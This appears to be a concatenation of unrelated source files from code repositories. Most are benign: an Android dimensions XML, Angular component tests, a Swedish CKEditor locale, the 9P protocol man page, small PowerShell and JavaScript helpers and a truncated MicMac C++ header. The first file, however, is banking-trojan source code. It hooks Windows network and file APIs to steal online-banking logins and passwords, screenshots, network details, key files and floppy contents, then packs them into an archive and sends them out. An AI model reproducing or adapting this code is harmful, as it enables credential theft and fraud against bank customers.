#include "BSS.h" #include "Loader.h" #include "BotClasses.h" //bss typedef struct { HCAB hCab; bool Initialize; char *Path; bool Form; DWORD dwEntry; bool bFloppy; } BSS, *PBSS; PBSS pBanking; PList HashListBBS = NULL; bool bHookBSSCreateFileWOnce = false; bool InitializeBSS() { MemFree( pBanking ); pBanking = (PBSS)MemAlloc( sizeof( PBSS ) ); m_memset( pBanking, 0, sizeof( PBSS ) ); if ( pBanking ) { pBanking->Path = GetTempNameA(); if ( pBanking->Path ) { if ( ( pBanking->hCab = CreateCab( pBanking->Path ) ) != NULL ) { pBanking->Initialize = true; return true; } } } return false; } bool IsBSSFileFormat( WCHAR *lpFileName ) { DWORD dwBssFormats[] = { 0x18F2F2, 0x1AF2F9, 0x1CF2E3, 0x1C3AE2, 0x18F96C, 0x1BF871, 0x193133, 0x1C32ED, 0x1CB2F1, 0 }; DWORD dwHash = GetFileFormat( lpFileName ); for ( DWORD i = 0; dwBssFormats[i] != 0; i++ ) { if ( dwHash == dwBssFormats[i] ) { return true; } } return false; } typedef HANDLE ( WINAPI *BSSFUNC_CreateFileW )( LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile ); typedef BOOL ( WINAPI *BSSFUNC_InternetWriteFile )( HINTERNET hFile, LPCVOID lpBuffer, DWORD dwNumberOfBytesToWrite, LPDWORD lpdwNumberOfBytesWritten ); BSSFUNC_InternetWriteFile REAL_BSSInternetWriteFile; BSSFUNC_CreateFileW REAL_BSSCreateFileW; void AddHashBBS(DWORD Hash) { List::Add(HashListBBS, (LPVOID)Hash); } bool FindHashBBS(DWORD Hash) { return List::IndexOf(HashListBBS, (LPVOID)Hash) >= 0; } HANDLE WINAPI HOOK_BSSCreateFileW( LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile ) { HANDLE hRet = REAL_BSSCreateFileW( lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile ); if ( IsBSSFileFormat( (WCHAR*)lpFileName ) && pBanking->Form ) { WCHAR FileName[ MAX_PATH ]; plstrcpyW( FileName, lpFileName ); DWORD dwFileHash = CalcHashW( (WCHAR*)FileName ); if ( !FindHashBBS( dwFileHash ) ) { pCloseHandle( hRet ); HANDLE hFile = REAL_BSSCreateFileW( FileName, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0 ); if ( hFile != INVALID_HANDLE_VALUE ) { DWORD h; DWORD dwFileSize = (DWORD)pGetFileSize( hFile, &h ); LPBYTE lpFile = NULL; if ( dwFileSize > 0 ) { HANDLE hMapFile = (HANDLE)pCreateFileMappingW( hFile, 0, PAGE_READONLY, 0, 0, 0 ); if ( hMapFile != INVALID_HANDLE_VALUE ) { LPBYTE pbyFile = (LPBYTE)pMapViewOfFile( hMapFile, FILE_MAP_READ, 0, 0, 0 ); if ( pbyFile != NULL ) { WCHAR *TempPath = GetTempName(); if ( TempPath ) { HANDLE hTmp = REAL_BSSCreateFileW( TempPath, GENERIC_WRITE, FILE_SHARE_WRITE, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0 ); if ( hTmp != (HANDLE)-1 ) { DWORD dwWritten = 0; pWriteFile( hTmp, pbyFile, dwFileSize, &dwWritten, 0 ); } pCloseHandle( hTmp ); AddHashBBS( dwFileHash ); if ( AddFileToCab( pBanking->hCab, ToAnsi( TempPath ), ToAnsi( FileName ) ) ) { pBanking->dwEntry++; } pDeleteFileW( TempPath ); } MemFree( TempPath ); } pUnmapViewOfFile( pbyFile ); } pCloseHandle( hMapFile ); } } pCloseHandle( hFile ); hRet = REAL_BSSCreateFileW( FileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile ); } } return hRet; } void HookBSSCreateFileW() { UnhookCreateFileW(); if ( HookApi( 1, 0x8F8F102, (DWORD)&HOOK_BSSCreateFileW ) ) { __asm mov [REAL_BSSCreateFileW], eax } return; } void GetBSSInfo( HINTERNET hFile, LPCVOID lpBuffer, DWORD dwNumberOfBytesToWrite ) { if ( lpBuffer != NULL && dwNumberOfBytesToWrite ) { DWORD dwUrlSize = 1024; char *Url = (char*)MemAlloc( dwUrlSize + 1 ); if ( Url ) { if ( pInternetQueryOptionA( hFile, INTERNET_OPTION_URL, Url, &dwUrlSize ) ) { if ( CompareUrl( "*bsi.dll*", Url ) ) { char *Buffer = (char*)MemAlloc( 1024 ); PCHAR Tmp = (PCHAR)lpBuffer; PCHAR Login = GetTextBetween(Tmp, "<L>", "</L>" ); PCHAR Password = GetTextBetween(Tmp, "<P>", "</P>" ); if ( Login != NULL && Password != NULL) { HINTERNET hParent; DWORD dwSize = sizeof( HINTERNET ); char UserAgent[256]; pInternetQueryOptionA( hFile, INTERNET_OPTION_PARENT_HANDLE, &hParent, &dwSize ); pInternetQueryOptionA( hParent, INTERNET_OPTION_PARENT_HANDLE, &hParent, &dwSize ); dwSize = sizeof( UserAgent ) - 1; if ( !pInternetQueryOptionA( hParent, INTERNET_OPTION_USER_AGENT, UserAgent, &dwSize ) ) { UserAgent[0] = '-'; UserAgent[1] = '\0'; } char Template[] = "Url: %s\r\n" "Login: %s\r\n" "Password: %s\r\n" "UserAgent: %s\r\n"; typedef int ( WINAPI *fwsprintfA )( LPTSTR lpOut, LPCTSTR lpFmt, ... ); fwsprintfA pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 ); pwsprintfA( Buffer, Template, Url, Login, Password, UserAgent ); char *TempFile = GetTempNameA(); bool AddLog = false; if ( TempFile ) { HANDLE hLog = (HANDLE)pCreateFileA( TempFile, GENERIC_WRITE, FILE_SHARE_WRITE, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0 ); if ( hLog != INVALID_HANDLE_VALUE ) { DWORD dwWritten = 0; if ( (BOOL)pWriteFile( hLog, Buffer, m_lstrlen( Buffer ), &dwWritten, 0 ) ) { AddLog = true; } } pCloseHandle( hLog ); } if ( AddLog ) { if ( InitializeBSS() ) { if ( AddFileToCab( pBanking->hCab, TempFile, "Information.txt" ) ) { LPVOID lpScrFile; DWORD dwScrSize; GetScreen( &lpScrFile, &dwScrSize ); bool bAddScreen = false; char *ScreenFile = GetTempNameA(); if ( lpScrFile && ScreenFile ) { HANDLE hScreen = (HANDLE)pCreateFileA( ScreenFile, GENERIC_WRITE, FILE_SHARE_WRITE, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0 ); if ( hScreen != INVALID_HANDLE_VALUE ) { DWORD dwWritten = 0; if ( (BOOL)pWriteFile( hScreen, lpScrFile, dwScrSize, &dwWritten, 0 ) ) { bAddScreen = true; } } pCloseHandle( hScreen ); } MemFree( lpScrFile ); if ( bAddScreen ) { AddFileToCab( pBanking->hCab, ScreenFile, "screen.jpeg" ); } MemFree( ScreenFile ); char *NetFile = GetNetInfo(); if ( NetFile != NULL ) { AddFileToCab( pBanking->hCab, NetFile, "NetInfo.txt" ); pDeleteFileA( NetFile ); } MemFree( NetFile ); pDeleteFileA( TempFile ); pBanking->Form = true; pSetErrorMode( SEM_FAILCRITICALERRORS ); if ( AddDirToCab( pBanking->hCab, "A:", "Floppy" ) ) { pBanking->bFloppy = true; } HookBSSCreateFileW(); } } } MemFree( TempFile ); } MemFree( Buffer ); STR::Free( Login ); STR::Free( Password ); } } } } if ( pBanking != NULL && pBanking->dwEntry ) { UnhookCreateFileW(); if ( !pBanking->bFloppy ) { pSetErrorMode( SEM_FAILCRITICALERRORS ); AddDirToCab( pBanking->hCab, "A:", "Floppy" ); } CloseCab( pBanking->hCab ); PBSSINIST pBank = (PBSSINIST)MemAlloc( sizeof( PBSSINIST ) ); if ( pBank ) { pBank->dwType = 1; pBank->FilePath = (char*)MemAlloc( m_lstrlen( pBanking->Path ) + 1 ); m_memcpy( pBank->FilePath, pBanking->Path, m_lstrlen( pBanking->Path ) ); StartThread( SendBSSInist, pBank ); } MemFree( pBanking ); } } BOOL WINAPI HOOK_BSSInternetWriteFile( HINTERNET hFile, LPCVOID lpBuffer, DWORD dwNumberOfBytesToWrite, LPDWORD lpdwNumberOfBytesWritten ) { GetBSSInfo( hFile, lpBuffer, dwNumberOfBytesToWrite ); return REAL_BSSInternetWriteFile( hFile, lpBuffer, dwNumberOfBytesToWrite, lpdwNumberOfBytesWritten ); } bool bBSSHooked; void BSSHooks() { if ( !bBSSHooked ) { HashListBBS = List::Create(); if ( HookApi( 8, 0x205BD56A, (DWORD)&HOOK_BSSInternetWriteFile ) ) { __asm mov [REAL_BSSInternetWriteFile], eax } bBSSHooked = true; } return; }
{ "pile_set_name": "Github" }
<resources> <!-- Customize dimensions originally defined in res/values/dimens.xml (such as screen margins) for sw720dp devices (e.g. 10" tablets) in landscape here. --> <dimen name="activity_horizontal_margin">128dp</dimen> </resources>
{ "pile_set_name": "Github" }
import { inject, fakeAsync, } from '@angular/core/testing'; import { Router } from '@angular/router'; import { Location } from '@angular/common'; import { MockSpotifyService } from '../mocks/spotify'; import { SpotifyService } from '../../app/ts/services/SpotifyService'; import { advance, createRoot, RootCmp, configureMusicTests } from '../MusicTestHelpers'; describe('ArtistComponent', () => { beforeEach(() => { configureMusicTests(); }); describe('initialization', () => { it('retrieves the artist', fakeAsync( inject([Router, SpotifyService], (router: Router, mockSpotifyService: MockSpotifyService) => { const fixture = createRoot(router, RootCmp); router.navigateByUrl('/artists/2'); advance(fixture); expect(mockSpotifyService.getArtistSpy).toHaveBeenCalledWith('2'); }))); }); describe('back', () => { it('returns to the previous location', fakeAsync( inject([Router, Location], (router: Router, location: Location) => { const fixture = createRoot(router, RootCmp); expect(location.path()).toEqual('/'); router.navigateByUrl('/artists/2'); advance(fixture); expect(location.path()).toEqual('/artists/2'); const artist = fixture.debugElement.children[1].componentInstance; artist.back(); advance(fixture); expect(location.path()).toEqual('/'); }))); }); describe('renderArtist', () => { it('renders album info', fakeAsync( inject([Router, SpotifyService], (router: Router, mockSpotifyService: MockSpotifyService) => { const fixture = createRoot(router, RootCmp); let artist = {name: 'ARTIST NAME', images: [{url: 'IMAGE_1'}]}; mockSpotifyService.setResponse(artist); router.navigateByUrl('/artists/2'); advance(fixture); const compiled = fixture.debugElement.nativeElement; expect(compiled.querySelector('h1').innerHTML).toContain('ARTIST NAME'); expect(compiled.querySelector('img').src).toContain('IMAGE_1'); }))); }); });
{ "pile_set_name": "Github" }
/** * @license Copyright (c) 2003-2018, CKSource - Frederico Knabben. All rights reserved. * For licensing, see LICENSE.md or https://ckeditor.com/legal/ckeditor-oss-license */ /** * @fileOverview */ /**#@+ @type String @example */ /** * Contains the dictionary of language entries. * @namespace */ CKEDITOR.lang[ 'sv' ] = { // ARIA description. editor: 'Rich Text-editor', editorPanel: 'Panel till Rich Text-editor', // Common messages and labels. common: { // Screenreader titles. Please note that screenreaders are not always capable // of reading non-English words. So be careful while translating it. editorHelp: 'Tryck ALT 0 för hjälp', browseServer: 'Bläddra på server', url: 'URL', protocol: 'Protokoll', upload: 'Ladda upp', uploadSubmit: 'Skicka till server', image: 'Bild', flash: 'Flash', form: 'Formulär', checkbox: 'Kryssruta', radio: 'Alternativknapp', textField: 'Textfält', textarea: 'Textruta', hiddenField: 'Dolt fält', button: 'Knapp', select: 'Flervalslista', imageButton: 'Bildknapp', notSet: '<ej angivet>', id: 'Id', name: 'Namn', langDir: 'Språkriktning', langDirLtr: 'Vänster till Höger (VTH)', langDirRtl: 'Höger till Vänster (HTV)', langCode: 'Språkkod', longDescr: 'URL-beskrivning', cssClass: 'Stilmall', advisoryTitle: 'Titel', cssStyle: 'Stilmall', ok: 'OK', cancel: 'Avbryt', close: 'Stäng', preview: 'Förhandsgranska', resize: 'Dra för att ändra storlek', generalTab: 'Allmänt', advancedTab: 'Avancerad', validateNumberFailed: 'Värdet är inte ett nummer.', confirmNewPage: 'Alla ändringar i innehållet kommer att förloras. Är du säker på att du vill ladda en ny sida?', confirmCancel: 'Några av alternativen har ändrats. Är du säker på att du vill stänga dialogrutan?', options: 'Alternativ', target: 'Mål', targetNew: 'Nytt fönster (_blank)', targetTop: 'Översta fönstret (_top)', targetSelf: 'Samma fönster (_self)', targetParent: 'Föregående fönster (_parent)', langDirLTR: 'Vänster till höger (LTR)', langDirRTL: 'Höger till vänster (RTL)', styles: 'Stil', cssClasses: 'Stilmallar', width: 'Bredd', height: 'Höjd', align: 'Justering', left: 'Vänster', right: 'Höger', center: 'Centrerad', justify: 'Justera till marginaler', alignLeft: 'Vänsterjustera', alignRight: 'Högerjustera', alignCenter: 'Align Center', // MISSING alignTop: 'Överkant', alignMiddle: 'Mitten', alignBottom: 'Nederkant', alignNone: 'Ingen', invalidValue: 'Felaktigt värde.', invalidHeight: 'Höjd måste vara ett nummer.', invalidWidth: 'Bredd måste vara ett nummer.', invalidLength: 'Värdet för fältet "%1" måste vara ett positivt nummer med eller utan en giltig mätenhet (%2).', invalidCssLength: 'Värdet för fältet "%1" måste vara ett positivt nummer med eller utan CSS-mätenheter (px, %, in, cm, mm, em, ex, pt, eller pc).', invalidHtmlLength: 'Värdet för fältet "%1" måste vara ett positivt nummer med eller utan godkända HTML-mätenheter (px eller %).', invalidInlineStyle: 'Det angivna värdet för style måste innehålla en eller flera tupler separerade med semikolon i följande format: "name : value"', cssLengthTooltip: 'Ange ett nummer i pixlar eller ett nummer men godkänd CSS-mätenhet (px, %, in, cm, mm, em, ex, pt, eller pc).', // Put the voice-only part of the label in the span. unavailable: '%1<span class="cke_accessibility">, Ej tillgänglig</span>', // Keyboard keys translations used for creating shortcuts descriptions in tooltips, context menus and ARIA labels. keyboard: { 8: 'Backsteg', 13: 'Retur', 16: 'Skift', 17: 'Ctrl', 18: 'Alt', 32: 'Mellanslag', 35: 'Slut', 36: 'Hem', 46: 'Radera', 112: 'F1', 113: 'F2', 114: 'F3', 115: 'F4', 116: 'F5', 117: 'F6', 118: 'F7', 119: 'F8', 120: 'F9', 121: 'F10', 122: 'F11', 123: 'F12', 124: 'F13', 125: 'F14', 126: 'F15', 127: 'F16', 128: 'F17', 129: 'F18', 130: 'F19', 131: 'F20', 132: 'F21', 133: 'F22', 134: 'F23', 135: 'F24', 224: 'Kommando' }, // Prepended to ARIA labels with shortcuts. keyboardShortcut: 'Kortkommando', optionDefault: 'Standard' } };
{ "pile_set_name": "Github" }
.TH INTRO 9P .SH NAME intro \- introduction to the Plan 9 File Protocol, 9P .SH SYNOPSIS .B #include <fcall.h> .SH DESCRIPTION A Plan 9 .I server is an agent that provides one or more hierarchical file systems \(em file trees \(em that may be accessed by Plan 9 processes. A server responds to requests by .I clients to navigate the hierarchy, and to create, remove, read, and write files. The prototypical server is a separate machine that stores large numbers of user files on permanent media; such a machine is called, somewhat confusingly, a .I file .IR server . Another possibility for a server is to synthesize files on demand, perhaps based on information on data structures maintained in memory; the .IM plumber (4) server is an example of such a server. .PP A .I connection to a server is a bidirectional communication path from the client to the server. There may be a single client or multiple clients sharing the same connection. .PP The .IR "Plan 9 File Protocol" , 9P, is used for messages between .I clients and .IR servers . A client transmits .I requests .RI ( T-messages ) to a server, which subsequently returns .I replies .RI ( R-messages ) to the client. The combined acts of transmitting (receiving) a request of a particular type, and receiving (transmitting) its reply is called a .I transaction of that type. .PP Each message consists of a sequence of bytes. Two-, four-, and eight-byte fields hold unsigned integers represented in little-endian order (least significant byte first). Data items of larger or variable lengths are represented by a two-byte field specifying a count, .IR n , followed by .I n bytes of data. Text strings are represented this way, with the text itself stored as a UTF-8 encoded sequence of Unicode characters (see .IM utf (7) ). Text strings in 9P messages are not .SM NUL\c -terminated: .I n counts the bytes of UTF-8 data, which include no final zero byte. The .SM NUL character is illegal in all text strings in 9P, and is therefore excluded from file names, user names, and so on. .PP Each 9P message begins with a four-byte size field specifying the length in bytes of the complete message including the four bytes of the size field itself. The next byte is the message type, one of the constants in the enumeration in the include file .BR <fcall.h> . The next two bytes are an identifying .IR tag , described below. The remaining bytes are parameters of different sizes. In the message descriptions, the number of bytes in a field is given in brackets after the field name. The notation .IR parameter [ n ] where .I n is not a constant represents a variable-length parameter: .IR n [2] followed by .I n bytes of data forming the .IR parameter . The notation .IR string [ s ] (using a literal .I s character) is shorthand for .IR s [2] followed by .I s bytes of UTF-8 text. (Systems may choose to reduce the set of legal characters to reduce syntactic problems, for example to remove slashes from name components, but the protocol has no such restriction. Plan 9 names may contain any printable character (that is, any character outside hexadecimal 00-1F and 80-9F) except slash.) Messages are transported in byte form to allow for machine independence; .IM fcall (3) describes routines that convert to and from this form into a machine-dependent C structure. .SH MESSAGES .ta \w'\fLTsession 'u .IP .ne 2v .IR size [4] .B Tversion .IR tag [2] .IR msize [4] .IR version [ s ] .br .IR size [4] .B Rversion .IR tag [2] .IR msize [4] .IR version [ s ] .IP .ne 2v .IR size [4] .B Tauth .IR tag [2] .IR afid [4] .IR uname [ s ] .IR aname [ s ] .br .br .IR size [4] .B Rauth .IR tag [2] .IR aqid [13] .IP .ne 2v .IR size [4] .B Rerror .IR tag [2] .IR ename [ s ] .IP .ne 2v .IR size [4] .B Tflush .IR tag [2] .IR oldtag [2] .br .IR size [4] .B Rflush .IR tag [2] .IP .ne 2v .IR size [4] .B Tattach .IR tag [2] .IR fid [4] .IR afid [4] .IR uname [ s ] .IR aname [ s ] .br .IR size [4] .B Rattach .IR tag [2] .IR qid [13] .IP .ne 2v .IR size [4] .B Twalk .IR tag [2] .IR fid [4] .IR newfid [4] .IR nwname [2] .IR nwname *( wname [ s ]) .br .IR size [4] .B Rwalk .IR tag [2] .IR nwqid [2] .IR nwqid *( wqid [13]) .IP .ne 2v .IR size [4] .B Topen .IR tag [2] .IR fid [4] .IR mode [1] .br .IR size [4] .B Ropen .IR tag [2] .IR qid [13] .IR iounit [4] .IP .ne 2v .IR size [4] .B Topenfd .IR tag [2] .IR fid [4] .IR mode [1] .br .IR size [4] .B Ropenfd .IR tag [2] .IR qid [13] .IR iounit [4] .IR unixfd [4] .IP .ne 2v .IR size [4] .B Tcreate .IR tag [2] .IR fid [4] .IR name [ s ] .IR perm [4] .IR mode [1] .br .IR size [4] .B Rcreate .IR tag [2] .IR qid [13] .IR iounit [4] .IP .ne 2v .IR size [4] .B Tread .IR tag [2] .IR fid [4] .IR offset [8] .IR count [4] .br .IR size [4] .B Rread .IR tag [2] .IR count [4] .IR data [ count ] .IP .ne 2v .IR size [4] .B Twrite .IR tag [2] .IR fid [4] .IR offset [8] .IR count [4] .IR data [ count ] .br .IR size [4] .B Rwrite .IR tag [2] .IR count [4] .IP .ne 2v .IR size [4] .B Tclunk .IR tag [2] .IR fid [4] .br .IR size [4] .B Rclunk .IR tag [2] .IP .ne 2v .IR size [4] .B Tremove .IR tag [2] .IR fid [4] .br .IR size [4] .B Rremove .IR tag [2] .IP .ne 2v .IR size [4] .B Tstat .IR tag [2] .IR fid [4] .br .IR size [4] .B Rstat .IR tag [2] .IR stat [ n ] .IP .ne 2v .IR size [4] .B Twstat .IR tag [2] .IR fid [4] .IR stat [ n ] .br .IR size [4] .B Rwstat .IR tag [2] .PP Each T-message has a .I tag field, chosen and used by the client to identify the message. The reply to the message will have the same tag. Clients must arrange that no two outstanding messages on the same connection have the same tag. An exception is the tag .BR NOTAG , defined as .B (ushort)~0 in .BR <fcall.h> : the client can use it, when establishing a connection, to override tag matching in .B version messages. .PP The type of an R-message will either be one greater than the type of the corresponding T-message or .BR Rerror , indicating that the request failed. In the latter case, the .I ename field contains a string describing the reason for failure. .PP The .B version message identifies the version of the protocol and indicates the maximum message size the system is prepared to handle. It also initializes the connection and aborts all outstanding I/O on the connection. The set of messages between .B version requests is called a .IR session . .PP Most T-messages contain a .IR fid , a 32-bit unsigned integer that the client uses to identify a ``current file'' on the server. Fids are somewhat like file descriptors in a user process, but they are not restricted to files open for I/O: directories being examined, files being accessed by .IM stat (3) calls, and so on \(em all files being manipulated by the operating system \(em are identified by fids. Fids are chosen by the client. All requests on a connection share the same fid space; when several clients share a connection, the agent managing the sharing must arrange that no two clients choose the same fid. .PP The fid supplied in an .B attach message will be taken by the server to refer to the root of the served file tree. The .B attach identifies the user to the server and may specify a particular file tree served by the server (for those that supply more than one). .PP Permission to attach to the service is proven by providing a special fid, called .BR afid , in the .B attach message. This .B afid is established by exchanging .B auth messages and subsequently manipulated using .B read and .B write messages to exchange authentication information not defined explicitly by 9P. Once the authentication protocol is complete, the .B afid is presented in the .B attach to permit the user to access the service. .PP A .B walk message causes the server to change the current file associated with a fid to be a file in the directory that is the old current file, or one of its subdirectories. .B Walk returns a new fid that refers to the resulting file. Usually, a client maintains a fid for the root, and navigates by .B walks from the root fid. .PP A client can send multiple T-messages without waiting for the corresponding R-messages, but all outstanding T-messages must specify different tags. The server may delay the response to a request and respond to later ones; this is sometimes necessary, for example when the client reads from a file that the server synthesizes from external events such as keyboard characters. .PP Replies (R-messages) to .BR auth , .BR attach , .BR walk , .BR open , and .B create requests convey a .I qid field back to the client. The qid represents the server's unique identification for the file being accessed: two files on the same server hierarchy are the same if and only if their qids are the same. (The client may have multiple fids pointing to a single file on a server and hence having a single qid.) The thirteen-byte qid fields hold a one-byte type, specifying whether the file is a directory, append-only file, etc., and two unsigned integers: first the four-byte qid .IR version , then the eight-byte qid .IR path . The path is an integer unique among all files in the hierarchy. If a file is deleted and recreated with the same name in the same directory, the old and new path components of the qids should be different. The version is a version number for a file; typically, it is incremented every time the file is modified. .PP An existing file can be .BR opened , or a new file may be .B created in the current (directory) file. I/O of a given number of bytes at a given offset on an open file is done by .B read and .BR write . .PP A client should .B clunk any fid that is no longer needed. The .B remove transaction deletes files. .PP .B Openfd is an extension used by Unix utilities to allow traditional Unix programs to have their input or output attached to fids on 9P servers. See .IR openfd (9p) and .IM 9pclient (3) for details. .PP The .B stat transaction retrieves information about the file. The .I stat field in the reply includes the file's name, access permissions (read, write and execute for owner, group and public), access and modification times, and owner and group identifications (see .IM stat (3) ). The owner and group identifications are textual names. The .B wstat transaction allows some of a file's properties to be changed. .PP A request can be aborted with a flush request. When a server receives a .BR Tflush , it should not reply to the message with tag .I oldtag (unless it has already replied), and it should immediately send an .BR Rflush . The client must wait until it gets the .B Rflush (even if the reply to the original message arrives in the interim), at which point .I oldtag may be reused. .PP Because the message size is negotiable and some elements of the protocol are variable length, it is possible (although unlikely) to have a situation where a valid message is too large to fit within the negotiated size. For example, a very long file name may cause a .B Rstat of the file or .B Rread of its directory entry to be too large to send. In most such cases, the server should generate an error rather than modify the data to fit, such as by truncating the file name. The exception is that a long error string in an .B Rerror message should be truncated if necessary, since the string is only advisory and in some sense arbitrary. .PP Most programs do not see the 9P protocol directly; on Plan 9, calls to library routines that access files are translated by the kernel's mount driver into 9P messages. .SS Unix On Unix, 9P services are posted as Unix domain sockets in a well-known directory (see .IM getns (3) and .IM 9pserve (4) ). Clients connect to these servers using a 9P client library (see .IM 9pclient (3) ). .SH DIRECTORIES Directories are created by .B create with .B DMDIR set in the permissions argument (see .IR stat (9P)). The members of a directory can be found with .IR read (9P). All directories must support .B walks to the directory .B .. (dot-dot) meaning parent directory, although by convention directories contain no explicit entry for .B .. or .B . (dot). The parent of the root directory of a server's tree is itself. .SH "ACCESS PERMISSIONS" This section describes the access permission conventions implemented by most Plan 9 file servers. These conventions are not enforced by the protocol and may differ between servers, especially servers built on top of foreign operating systems. .PP Each file server maintains a set of user and group names. Each user can be a member of any number of groups. Each group has a .I group leader who has special privileges (see .IR stat (9P) and Plan 9's \fIusers\fR(6)). Every file request has an implicit user id (copied from the original .BR attach ) and an implicit set of groups (every group of which the user is a member). .PP Each file has an associated .I owner and .I group id and three sets of permissions: those of the owner, those of the group, and those of ``other'' users. When the owner attempts to do something to a file, the owner, group, and other permissions are consulted, and if any of them grant the requested permission, the operation is allowed. For someone who is not the owner, but is a member of the file's group, the group and other permissions are consulted. For everyone else, the other permissions are used. Each set of permissions says whether reading is allowed, whether writing is allowed, and whether executing is allowed. A .B walk in a directory is regarded as executing the directory, not reading it. Permissions are kept in the low-order bits of the file .IR mode : owner read/write/execute permission represented as 1 in bits 8, 7, and 6 respectively (using 0 to number the low order). The group permissions are in bits 5, 4, and 3, and the other permissions are in bits 2, 1, and 0. .PP The file .I mode contains some additional attributes besides the permissions. If bit 31 .RB ( DMDIR ) is set, the file is a directory; if bit 30 .RB ( DMAPPEND ) is set, the file is append-only (offset is ignored in writes); if bit 29 .RB ( DMEXCL ) is set, the file is exclusive-use (only one client may have it open at a time); if bit 27 .RB ( DMAUTH ) is set, the file is an authentication file established by .B auth messages; if bit 26 .RB ( DMTMP ) is set, the contents of the file (or directory) are not included in nightly archives. (Bit 28 is skipped for historical reasons.) These bits are reproduced, from the top bit down, in the type byte of the Qid: .BR QTDIR , .BR QTAPPEND , .BR QTEXCL , (skipping one bit) .BR QTAUTH , and .BR QTTMP . The name .BR QTFILE , defined to be zero, identifies the value of the type for a plain file.
{ "pile_set_name": "Github" }
function ConvertTo-HTMLEncoded { <# .SYNOPSIS Encode a string into HTML (eg: &gt; instead of >) #> [CmdletBinding()] [OutputType([String])] param ( # String to encode [Parameter( Position = $true, Mandatory = $true, ValueFromPipeline = $true )] [string]$InputString ) PROCESS { Write-Verbose "[$($MyInvocation.MyCommand.Name)] Encoding string to HTML" [System.Web.HttpUtility]::HtmlEncode($InputString) } }
{ "pile_set_name": "Github" }
import striptags from 'striptags'; function firstLine(content) { content = striptags(content.replace(/></gi, '>\n<')).replace(/&nbsp;/gi, ' ').trim().split('\n')[0]; if (!content) return ''; return content.substr(0, 250).replace(/&amp;/g, '&'); } function secondLine(content) { // Remove first line let res = striptags(content.replace(/></gi, '>\n<')).replace(/&nbsp;/gi, ' ').trim().split('\n'); content = res.slice(1, 10).join(' ').trim(); if (!content) return ''; return content.substr(0, 250).replace(/&amp;/g, '&'); } module.exports = { firstLine, secondLine };
{ "pile_set_name": "Github" }
/*Header-MicMac-eLiSe-25/06/2007 MicMac : Multi Image Correspondances par Methodes Automatiques de Correlation eLiSe : ELements of an Image Software Environnement www.micmac.ign.fr Copyright : Institut Geographique National Author : Marc Pierrot Deseilligny Contributors : Gregoire Maillet, Didier Boldo. [1] M. Pierrot-Deseilligny, N. Paparoditis. "A multiresolution and optimization-based image matching approach: An application to surface reconstruction from SPOT5-HRS stereo imagery." In IAPRS vol XXXVI-1/W41 in ISPRS Workshop On Topographic Mapping From Space (With Special Emphasis on Small Satellites), Ankara, Turquie, 02-2006. [2] M. Pierrot-Deseilligny, "MicMac, un lociel de mise en correspondance d'images, adapte au contexte geograhique" to appears in Bulletin d'information de l'Institut Geographique National, 2007. Francais : MicMac est un logiciel de mise en correspondance d'image adapte au contexte de recherche en information geographique. Il s'appuie sur la bibliotheque de manipulation d'image eLiSe. Il est distibue sous la licences Cecill-B. Voir en bas de fichier et http://www.cecill.info. English : MicMac is an open source software specialized in image matching for research in geographic information. MicMac is built on the eLiSe image library. MicMac is governed by the "Cecill-B licence". See below and http://www.cecill.info. Header-MicMac-eLiSe-25/06/2007*/ #ifndef _HASSAN_PARAMETRES_H #define _HASSAN_PARAMETRES_H class Parametres_reconstruction_batiment { public : Parametres_reconstruction_batiment(); ostream& operator >>(ostream& os); istream& operator <<(istream& is); void set_mode(INT m) {_mode = m;} void set_afficher(bool a) {_afficher = a;} void set_enregistrer(bool e) {_enregistrer = e;} void set_mne_noyau(bool mn) {_mne_noyau = mn;} void set_repertoir(string& rep) {_repertoir = rep;} void set_cad_file(string& cf) {_cad_file = cf;} void set_mne_file(string& mf) {_mne_file = mf;} void set_cube_header(string& ch) {_cube_header = ch;} void set_phot_a(string& pa) {_phot_a = pa;} void set_phot_b(string& pb) {_phot_b = pb;} void set_toits_file(string& tf) {_toits_file = tf;} void set_facades_file(string& ff) {_facades_file = ff;} void set_batis_file(string& bf) {_batis_file = bf;} void set_sdng(INT sdng) {_sdng = sdng;} void set_pas(REAL pxy) {_pas = pxy;} void set_pas_z(REAL pz) {_pas_z = pz;} void set_z_sol(REAL zs) {_z_sol = zs;} void set_seuil_pente(REAL sp) {_seuil_pente = sp;} void set_seuil_z_min1(REAL szm1) {_seuil_z_min1 = szm1;} void set_seuil_z_max1(REAL szm1) {_seuil_z_max1 = szm1;} void set_seuil_z_min2(REAL szm2) {_seuil_z_min2 = szm2;} void set_seuil_z_max2(REAL szm2) {_seuil_z_max2 = szm2;} void set_long_min(REAL lm) {_long_min = lm;} void set_d_teta_min(REAL dtm) {_d_teta_min = dtm;} void set_d_teta(REAL dt) {_d_teta = dt;} void set_d_phi(REAL dp) {_d_phi = dp;} void set_d_rho(REAL dr) {_d_rho = dr;} void set_nb_max_loc(INT nml) {_nb_max_loc = nml;} void set_phi_min(REAL pm) {_phi_min = pm;} void set_phi_max(REAL pm) {_phi_max = pm;} void set_angl_min(REAL am) {_angl_min = am;} void set_dist_min(REAL dm) {_dist_min = dm;} void set_decal_max(REAL dm) {_decal_max = dm;} void set_test_stab(INT ts) {_test_stab = ts;} void set_nb_p_mne_min(REAL npmm) {_nb_p_mne_min = npmm;} void set_nb_p_mne_moy(REAL npmm) {_nb_p_mne_moy = npmm;} void set_nb_p_mne_max(REAL npmm) {_nb_p_mne_max = npmm;} void set_nb_p_mne_pas(REAL npmp) {_nb_p_mne_pas = npmp;} void set_nb_plans_min(INT npm) {_nb_plans_min = npm;} void set_nb_plans_sup(INT nps) {_nb_plans_sup = 